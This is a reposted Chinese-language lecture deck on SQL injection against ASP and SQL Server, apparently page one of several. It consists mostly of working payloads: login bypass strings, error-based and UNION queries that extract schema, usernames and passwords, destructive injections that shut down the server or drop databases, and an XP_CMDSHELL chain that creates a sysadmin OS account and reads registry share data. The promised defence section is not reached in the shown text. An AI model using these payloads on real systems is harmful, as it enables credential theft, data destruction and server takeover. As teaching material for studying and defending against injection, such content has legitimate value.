文章作者:胡百敬 老师
原文章精美PPT下载:
http://www.eviloctal.com/weblog/blog.p ... cleid=a_20041031_023901
十分感谢台湾恒逸信息教育训练处系统开发部资深讲师胡百敬...十分感激...同时感谢 ESG TW
SQL Injection (資料隱码) -駭客的 SQL填空遊戲
大綱
何謂 SQL Injection
程序漏洞
剪接 SQL 語法
利用錯誤訊息
破壞性的工作
使用進階的延伸預存程序
使用 SQL Server 所附的工具程序
防範 SQL Injection 與系統安全設定
何謂 SQL Injection
程序寫作的漏洞,利用修該過的 SQL 語法遂行駭客的目的。
並非病毒
防火牆檔不住
任何平台都可能發生
程序漏洞
網頁程序码的漏洞
strSQL="Select * FROM tblUser Where UserName='" & _
Request("UserName") & "' AND Password='" & _
Request("Pass") & "'"
'直接交給 SQL Server 执行,這是最危險的地方
Set rec=cnn.Execute(strSQL)
If NOT rec.EOF Then
…
Demo:簡單介紹資料庫架構與 ASP 網頁
剪接 SQL 語法
利用已知的帐号,但不用密码直接登入
猜測、 監看或用熟知的帐号規則,如員工代號,身分證號码Ex: Admin’--交由 SQL Server 执行的語法變成
Select * FROM tblUser
Where UserName='admin'--' AND Password='asdf'
Demo:利用已知的帐号登入
剪接 SQL 語法
利用未知的帐号登入
Ex:'or 1=1--交由 SQL Server 执行的語法變成
Select * FROM tblUser
Where UserName='' or 1=1--' AND Password='asdf'
Demo:利用未知的帐号登入
利用錯誤訊息
故意製造 SQL 語法的錯誤,利用錯誤訊息獲取查詢語法與資料表的架構
藉由 GROUP BY 和 HAVING 子句傳回的錯誤訊息Ex:' HAVING 1=1--
Select * FROM tblUser Where UserName='' HAVING 1=1--' AND Password='asdf'
Demo:利用錯誤訊息取得查詢語法
利用錯誤訊息
利用錯誤訊息取得資料表內各欄位的資料型態Ex:'UNION Select 'abc',1,1,1 FROM tblUser --
Select * FROM tblUser Where UserName=''UNION Select 'abc',1,1,1 FROM tblUser --' AND Password='asdf'
Demo:利用錯誤訊息取得欄位結構
利用錯誤訊息
利用錯誤訊息獲取會員的帐号和密码Ex:'UNION Select UserName,1,1,1 FROM tblUser Where UserName>'a'--'UNION Select Password,1,1,1 FROM tblUser Where UserName='admin'--
Select * FROM tblUser Where UserName=''UNION Select UserName,1,1,1 FROM tblUser Where UserName>'a'--' AND Password='asdf'
Demo:利用錯誤訊息取得帐号密码
利用錯誤訊息
取得全部的帐号密码Ex:';DECLARE @str VARCHAR(8000) SET @str='@' Select @str=@str+' '+UserName+'/'+Password FROM tblUser Where UserName>@str Select @str AS IDPass INTO tblHacker-- ' UNION Select IDPass,1,1,1 FROM tblHacker--
Demo:利用錯誤訊息取得全部帐号密码
破壞性的工作
利用 SQL 語法做一些破壞性工作
停止执行 SQL Server:' ;SHUTDOWN--
刪除資料庫:' ;Drop Database <資料庫名稱>--
刪除資料表: ' ;Drop Table <資料表名稱>--
刪除資料:' ;Truncate Table <資料表名稱>--
刪除資料: ' ;Delete FROM <資料表名稱>--
Demo:做一些破壞性的工作
使用進階的延伸預存程序
XP_CMDSHELL:以 SQL Server 的系統帐号來执行系統上其他的應用程序
Ex:加入一個系統帐号到 SQL Server
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
Demo:利用 XP_CMDSHELL 加帐号
使用進階的延伸預存程序
與註冊資料庫相關的延伸預存程序
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Create TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
Insert tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
[1] [2] 下一页